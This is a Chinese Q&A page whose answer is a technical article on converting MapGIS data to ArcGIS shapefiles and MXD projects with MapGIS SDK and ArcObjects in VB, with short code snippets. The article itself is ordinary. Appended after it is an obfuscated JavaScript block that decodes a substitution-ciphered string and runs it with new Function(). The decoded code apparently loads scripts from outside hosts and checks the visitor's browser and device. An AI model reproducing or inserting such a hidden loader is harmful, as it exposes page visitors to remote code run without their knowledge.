MAPGIS数据类型

2025-04-04 05:41:04
推荐回答(1个)
回答1:

0 引言

正在开展的国土资源科学数据共享工程的建设是一项长期的工程,其目标之一是对已有资源进行整合发布,以供广大用户使用。因此,科学数据共享工程所提供的数据,其格式必须是能够让大多数用户都能够使用的,而能够被大多数用户所使用的数据就是当前占主流地位的ArcGIS 数据。

但是由于一直以来地矿部门所采用GIS 软件基本上是MapGIS ,导致我们目前拥有大量的MapGIS 格式的GIS 数据需要被转换成可供发布的ArcGIS 数据格式。例如:当前《水文地质图集》里面的68 幅图都是MapGIS 格式,需要将其转换成可被共享的ArcGIS 数据格式。因此现在的首要任务是找到便利的手段将MapGIS 数据转换成ArcGIS 数据。

MapGIS 数据向ArcGIS 的转换是一个复杂的课题。虽然研究的都是GIS 数据,由于GIS 数据本身的复杂性,涉及到点、线、区等不同特征的图形数据,MapGIs 与ArcGIs 的数据格式和数据组织存储方式都不相同,导致ArcGIS 软件并不能直接读取MapGIS 数据。所以,当前一个重要任务就是研究出MapGIS 向ArcGIS 数据无损转换工具。

另外,从避免重复建设这一角度来看,这一研究课题也具有很深的意义。由于MapGIS 在我国各领域应用十分广泛,我国很多GIS 数字化工作都是基于MapGIS 这一平台来加以实现的。而生产ArcGIS 的 ESRI 公司一直引领着全球GIS 技术的发展方向,30 多年来始终保持其全球第一的市场占有率。随着Arc GIS 平台在我国各领域的应用逐渐广泛,这就需要Arc GIS 软件能够读取已经投入大量人力物力进行数字化工作后得到MapGIS 数据。否则,就会造成数据矢量化的重复建设。

综上所述,MapGIs 向ArcGIs 数据转换研究也就成为了当前一个重要的研究内容。

1 现实转换存在的问题

通过大量的调研发现,当前国内所普遍采用的MapGIS 数据向ArcGIS 数据转换的方法主要是运用MapGIS 自身所提供的文件转换模块来进行,其提供的向ArcGIS 转换的方式包括转换成ArcGIS 的SHAPE 格式或者是E00 格式。但是运用这种方式转换后会存在很多问题,不能实现无损转换,转换后还需要进行大量的手工修补工作,因此这种当前普遍采用的方法会耗费大量的人力、物力,并不能够很好地满足实际需要;另外,经研究发现,很多的研究人员发现了这一问题,也进行了大量的研究工作,取得了一定的理论成绩,但是却还没有形成可供投人使用的成果,即自动转换工具。综上所述,当前国内MapGIS 数据向ArcGIS 数据转换的研究还不很成熟,不能很好地满足实际需要。

经亲自试验MapGIS 文件转换模块所提供的MapGIs ArCGIS 转换工具后发现存在着诸多问题。

( l )转换成ArcGIS 的SHAPE 格式时存在的问题为:

a 、点文件:MapGIS 点文件中的子图、注释都用一种不对应的子图符号在ArcGIS 中显示出来,而且对应的颜色都丢失,变为ArcGIS 的缺省颜色;

b 、线文件:将MapGIS 线文件转换后,在ArcGIS 中显示出来时,发现线的颜色都变成了统一的ArcGIS 的缺省颜色;

c 、区文件:将MapGIS 区文件转换后,在ArcGIS 中显示出来时,发现区的颜色都变成了统一的Arc GIS 的缺省颜色,而且因为SHAPE 文件并不保存拓扑关系,所以MapGIS 区文件的拓扑关系也被丢失。

( 2 )转换成ArcGIS 的E00 格式时存在的问题为:

a 、点文件:MapGIS 点文件中的子图、注释都可以转换过去,但是子图符号不对应,对应的颜色都丢失,变为ArcGIS 的缺省颜色,并且点文件的属性信息丢失;

b 、线文件:将MapGIS 线文件转换后,在Arc GIS 中显示出来时,发现线的颜色都变成了统一的ArcGIS 的缺省颜色,并且线文件的属性信息丢失;

c 、区文件:将MapGIS 区文件转换后,在Arc GIS 中显示出来时,发现区的颜色都变成了统一的ArcGIS 的缺省颜色,而且区文件的属性信息丢失。由此可以看出,在将MapGIS 文件向Arc 以S 文件转换的过程中,为使文件正确显示,按照目前通用的方法转换后通常需要进行复杂的手工调整,而转换的数据量较大,这将耗费大量的人力、物力和时间。

2 技术路线及具体实施方案

2 . 1 技术路线的选择通过研究,发现通用的数据格式转换方式有以下几种:

( l )常规的GIS 数据格式转化方法

就是采用某种编程语言首先读取源数据文件,提取源文件中的图形信息和属性信息,然后再写人目标文件中去。这种方法的优点是由于访问的是明码数据格式,可用程序进行直接读取。但是,这种方法会导致数据的丢失,也无法进行渲染方式的转换。因此,从根本上来说,此种方法无法实现GIS 数据的无损转换。例如:首先将MapGIS 点(wt )、线( wl )、面(wp ) 文件在MapGIS 的文件转换模块中转换成MapGIS 的明码文件,运用C + +来进行编程,读取MapGIS 明码文件中的图形及其属性的相关信息,再对应地写人到ArcGIS 的SHAPEFILE 文件中去。但是MapGIS 的明码文件不保存图形的属性信息,所以无法通过明码文件之间的转换来实现数据无损转换。

( 2 )利用数据格式转换工具

这种方法简单方便,易于实现,但是通用数据格式转换器难以避免的会丢失一些图形信息,转换出来的图形一般还需要一些特别的处理,如图形颜色设置,符号设置,区域填充设置,拓扑的重建等。例如:运用MapGIS 的文件转换模块,将MapGIS 的点(wt )、线(wl )、面(wp )文件转换成ArcGIS 的E00 格式文件,用ArcGIS 进行读取。这种方法只需要借助于MapGIS 现已提供的文件转换模块就可以进行。但是转换后发现会存在信息的丢失,转换出来的图形一般还需要一些特别的处理,如图形颜色设置,符号设置,区域填充设置、拓扑的重建等。例如:对于点文件,由于两种软件的子图库并不对应,所以会出现转换后,点图形文件的子图显示不一致现象。

( 3 )利用第三方数据文件访问工具进行数据格式转换

这种方法需要开发出第三方的数据访问组件。随着GIS 组件式开发技术的逐渐成熟,各种GIS 软件基本都提供了访问其本身的GIS 数据的组件,如Ar-cobject 可以访问ESRI ShaPe Files 、Arclnfo Coverage 和VPF 等矢量数据格式;MaPGIS SDE 可以访问MapGIS 的WT 、WL 、WP 等文件的数据信息。利用GIS 组件的这种特点可以自己灵活的编写与其他数据格式转换的程序,或者在GIS 系统的二次开发中集成数据格式转换的功能,实现GIS 数据共享。

例如:运用VB 工具进行编程,运用MapGISSDK 和ArcoBJECT 对MapGIS 和ArcGIS 进行二次开发,开发出实现MapGIS 到ArcGIS 数据转换的组件。

利用第三方数据文件访问工具进行数据格式转换具有很高的可行性。因为随着GIS 组件式开发技术的逐渐成熟,各种GIS 软件基本都提供了访问其本身的GIS 数据的组件。通过这些提供的组件可以获取图形参数,在不同平台提供的数据接口间进行传递,实现对MapGIS 图形信息的读取,并写人到ArcGIS 的相应文件。这种方式比第一种方式具有更高的可行性,比第二种方式更能够实现图形的正确读取,节省人力、物力。

综合比较这三种数据格式转换方式的优缺点,本次设计决定采用第三种方式来进行数据转换,即利用第三方数据文件访问工具进行数据格式转换。

2 . 2 具体实施方案

本次设计的实施方案就是避免采用中间格式(如E00)进行转换,运用VB 编程语言对这两个GIS 平台进行二次开发,通过MaPGIS 提供的MapGIS SDK 开发包调用相应的接口实现对MapGIS 图形数据文件的访问,通过ArcGIS 提供的开发包ArcOBJECTS 调用相应的接口实现数据向目标文件的写人和文件的生成。开发出可以实现MapGIS 到AroGIS 进行数据无损转换的工具,实现ArcGIS 平台对MapGIS 数据的有效读取。

两个GIS 平台的数据组织方式不同,MapGIS 的数据文件包括点文件、线文件、面文件,ArcGIS 的数据文件包括点文件、注记文件、线文件、面文件。它们的对照关系如表1所示。

具体实施方案主要分为三个大的方面:

( l ) MapGIS 文件内容的读取

MapGIS 平台提供两种数据格式:一种是MapGIS 明码数据格式,这种格式访问方便,利用程序可以直读直取,但是由于此种文件不保存MapGIS 平台所生成的属性信息,所以在本次设计中不加以使用;

第二种是MapGIS 自带的加密数据格式,即wT 、WL 、WP 格式,这种格式保存了所有数据的内容,程序不能直接读取,但通过调用MapGIS 提供的开发包

SDK )可以实行对文件的访问。

本设计决定在MapGIS SDK 的基础上进行MapGIs 的wT 、wL 、wP 文件内容的全部读取。包括:

① 点文件的图形坐标、属性信息、渲染方式(子图号、注释内容、颜色、字体等);

读取点文件的图形坐标信息可通过调用PNTAREA 的getpos 方法来实现。

读取点文件的属性信息主要是通过读取字段头Record- Head 的相关信息,来获取相应点文件共包含多少字段,字段类型及名称。通过Record 的item ( index )属性来获取每条记录。

Fori = 0 To pntAi . att . stru . numbfield 一l

pfldname = pntAi . att . stru ( i ) . FieldName

pfldtype = pntAi . att . stru ( i ) . FieldType

¨¨¨¨¨¨

¨¨¨¨¨¨

Next i

代码中,numbfield 为字段数,FieldName 为字段名,Field pe 为字段类型。

Dim att As Record

Dim flag As Integer

flag = pntAi . att . Get ( pi , att )

¨¨¨¨¨¨

¨¨¨¨¨¨

代码中,att 为Record 类型变量,记录了相应点实体的属性记录值,通过对att 相应属性的调用可以读取各字段对应点实体的相关记录。读取点文件的渲染方式信息需要调用PNTAREA 的Getlnfo 方法,通过Pnt-Info 的type 等属性来获取点实体类型、子图号等信息;通过Pnt-Info 的iclr 属性来获取点实体的颜色信息。

② 线文件的图形坐标、线颜色、属性信息;

读取线文件的图形坐标信息可以通过调用LinArea 、D_Dotset 、LinArea 的att 属性以及Get 方法等来实现。

Dim inf As Lin Info

Dim pos AsD 一Dotset

Dim dot 1 As D Dot

Dim dotZ As D Dot

rtl = linAi . Get ( 11 , pos , inf , dimension )

Set dotl = pos . ltem ( i )

Set dotZ = pos . Item ( i + l )

¨¨¨¨¨¨

¨¨¨¨¨¨

代码中, li为线实体号,inf 为Lin--Info 类型变量,pos为D_Dotset 类型变量,pos的Item 属性是存储了系列线坐标的数组。

读取线文件的属性信息需要用到LinAit 的Get 方法以及stm 属性,主要是通过读取字段头Record _ Head 的相关信息,来获取相应线文件共包含多少字段,字段类型及名称。通过Record 的item ( index )属性来获取每条记录。

读取线文件的渲染方式信息需要调用LinArea 的Getlnfo 方法。

③ 区文件的边界组成坐标、区填充颜色、填充图案、属性信息。

读取区文件的图形坐标信息需要用到MapGIS SDK 提供的对象RegArea、D Dotset、D_Dotset 的Count及Item 属性、Re rea 的Get 方法等。

读取区文件的属性信息需要用到RegAtt 的Get 方法,Record 的item ( index )属性,主要是通过读取字段头Record_Head 的相关信息,来获取相应区文件共包含多少字段,字段类型及名称。通过Record 的item ( index )属性来获取每条记录。

读取区文件的渲染方式信息需要调用RegArea 的Getlnfo 方法,通过Reglnfo的Path 。等属性来获取区实体填充图案等信息;通过Reg--Info 的。lr属性来获取区实体的填充颜色信息。

Dim reginfo As Reg--Info 、

rtl = regAi . Getlnfo ( ri , reginfo )

¨¨¨¨¨¨

¨¨¨¨¨¨

代码中,reginfo 为Re Info 二类型变量,通过调用Reg--Info 的dr 属性可以获取区实体填充颜色信息。

( 2 )图形数据向ArcGIS 接口写人,生成SHAPE - FILE 文件

目前ArcGIS 使用的shapefile 文件是GIS 的通用文件格式,在该步骤中,决定统一通过访问ArcGIS 提供的开发包生成shapefile 数据文件。

Shapefile 文件由包含空间信息和属性信息的三个文件组成,分别为:坐标文件(. shp )、属性文件( . dbf )、索引文件(. Shx )。

坐标文件(. shp )的文件头是一个长度固定(100 bytes )的记录段,一个有9 个int 型和7 个double 型数据。坐标文件的实体信息负责记录坐标信息,它以记录段为基本单位,每一个记录段记录一个地理实体目标的坐标信息,每个记录段分为记录头和记录内容两部分(表2 )。

属性文件(.dbf )用于记录属性信息。它是一个标准的D BF 文件,由头文件和实体信息两部分构成(表3 )。

索引文件(.shx )主要包含坐标文件的索引信息,文件中每个记录包含对应的坐标文件记录距离坐标文件头的偏移量。通过索引文件,可以很方便地在坐标文件中定位到指定目标的坐标信息。生成,hapefile 文件,首先要建立相应的字段,这些字段作为属性数据被保存在属性文件中。

Set pField = New esriGeodat ase . Field

Set pFieldEdit = pField

With pFieldEdit

. Name = " aoname "

. Type = esriFieldType . esriFieldTypeInteger

End With

pFieldsEdit . AddField pField

代码中,添加了名为“aoname " ,类型为intege类型的字段。

有了字段后,就可以创建shapefile 文件了。

Set pfeatclass = pFWS . CreateFeatureClass ( strName , pFields , Nothing , Nothing , esriFYSimple , strshapeField - Name , " " )

该代码创建了名为MyshaPeFilepnt 的shenle 文件。

最后就是向shapefile 文件中添加记录。要用到IFeatureCursor 、IFeatureBuffer 、IFeatureClasS 的insert 方法来向属性表中插入每一条记录,并调用IFeatureClaSS 的CreateFeatureBuffer 来创建缓冲区存放这些记录。

Set pfeaturecursor = pfeatclass . Insert ( True )

Set pFeatureBuffer = Pfeatclass . CreateFeatureBuffer

pFeatureBuffer . Value ( l ) = pPoint

¨¨¨¨¨¨

¨¨¨¨¨¨

nFeatureNumber = pfeaturecursor . InsertFeature ( pFea 一tureBuffer )

该代码是调用生成的Shapefile 文件对应的IFeatureClasS 接口的CreateFeatureBuffe :方法创建缓冲区,通过游标IFeatureCursor 的InsertFeature 方法加人记录。

至此,就生成了shapefile 文件。此时的shapefile 文件保存了MapGIS 文件的坐标信息,属性信息,但是渲染样式还没有对应起来,即图形的颜色、图案还没有达到一致。需要在下一步的操作中来达到这一要求。

( 3 ) A rcGIS 工程文件(MXD )的生成

ArcGIS 的数据与渲染样式是分开保存的,数据保存在shape 、coverage 、geodatabase 等格式的数据文件中,渲染样式保存在MXD 工程文件中。因此对渲染样式方面参数的写入主要是通过在相应的数据文件里添加扩展字段,用来存储这些渲染信息。

具体如下:

① 建立MapGIs 与ArcGIs 符号对照表,记录MapGIS 符号索引和相应ArcGIS 符号索引;

② 建立ArcGIS 要素文件的扩展字段,记录渲染信息参数,这些记录渲染信息的扩展字段(包括:MapGIS 符号索引、ArcGIS 符号索引、MapGIS 颜色号、对应RGB 颜色)存储在shapefile 文件的.dbf 文件中;(这部分的工作在第二步生成shapefile 文件字段的时候已经完成)

具体做法为:

根据MaPGIS 符号索引号字段记录的内容,从符号对照表中读取相应的ArcGIS 符号,将其写到对应要素的ArcGIS 符号索引字段中;

根据MapGIS 颜色号字段记录的内容,从颜色对照表中读取相应的RGB 颜色,将其写到对应要素RGB 颜色字段中;

详情见图1

该文件中,ID 为点实体号,mappntcoln 为MapGIS 点实体对应颜色号,mapPntrsb 为颜色号对应的RGB 值,为字符串类型,R--int为intege类型的red 值,G--int 为integer 类型的green 值,B_int 为integer 类型的hiue 值,这几个值在进行颜色渲染的时候会用到;类型字段存储的为点类型相关信息,在进行分类为ArcGIS 点文件和注记文件时会用到(图2 )。

各字段对应含义与用途和点文件字段类似,可参见点文件方面的描述(图3 )。

各字段对应含义以用途与点文件字段类似,可参见点文件方面的描述。

③ 记录各要素符号信息后,可根据这些信息对各要素进行自动渲染操作;

利用ARCOBJECTS 中IUniquevalueRenderer 类、StyleGalle类、StyleGalle Item 类、EnumstyleGalle 巧Item 类进行符号匹配显示;

定义IUniquevalueRenderer 类的Isymbol 属性来存储颜色信息,将定义好的IUniquevalueRenderer 赋值给IGeoFeatureLayer ( mapcontrol 控件上加载的shaPe - file 文件),来对加载的文件进行渲染。

Private Function GetRGBColor ( y ourRed As Integer , yourGreen As Integer , yourBhie As Integer ) As IRgbColor

Dim prgb As IRghColor

Set prgb = New RghColor

With prgb

·Red = yourRed

·Green = yourGreen

· Blue = yourBlue

End With

Set GetRGBColor = prgb

End Function

该函数可以根据给定的整型数据来生成RGB 颜色。

④ 将编辑完的要素保存成.mxd 格式,即ArcGIS 的工程文件。

该过程需要用到IAppliCation 的saveDocument 以及Shutdown 方法。

至此,就完成了对MapGIS 的完全读取,并保存成ArcGIS 所支持的数据格式。

2 . 3 开发环境的选择

在GIS 二次开发中,VB 开发语言具有使用方便、开发速度快的优势,因此决定采用VB 作为编程语言;另外,还要用到MapGIS SDK 、ArcMAP 、ArcoB - JECTS 开发包。

4 技术关键点

本次设计中的技术关键点包括如下几个方面:

1 、在点数据的读取和写入中,由于双方的点数据类型不一致,需要将MapGIs 所提供的注释类点数据写人到ArcGIS 的注记类文件中,而不是写到点文件中。

2 、子图类的点数据传递时,需要在ArcGIS 数据文件中建立扩展字段加以存储子图的类型信息,还要建立MapGIs 与AroGIS 的子图对照表,进行进一步的转换。

3 、在区文件的读取和写人中,要处理好“岛”的问题,即环中环的问题,需要调用接口用算法实现环数、点数、每个环的点数等信息;另外,还要建立MapGIs 与ArcGIs 区填充图案对照表。

4 、在颜色的处理上,要将MapGIS 的颜色库文件转换成文本文件,在运用MaPGIS SDK 得到颜色号信息后,根据颜色号在文本文件夹中索引出对应的颜色参数值。还需要在ArcGIS 的数据文件里建立扩展字段用来存储传递过来的颜色参数值。另外,还要建立MapGIs 与ArcGIs 的颜色对照表,加以转换(图4)。

5 结论

根据以上设计思路,在VB 开发环境下,调用Mapcls sDK 、ARCMAP 、ARCoBJECT 开发包进行程序设计,基本实现了初步设想,实现了点、线、面文件在坐标、属性上的完全一致,颜色、图案信息的基本一致。为后续GIS 格式转换方面的研究提供了一个好的解决思路。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();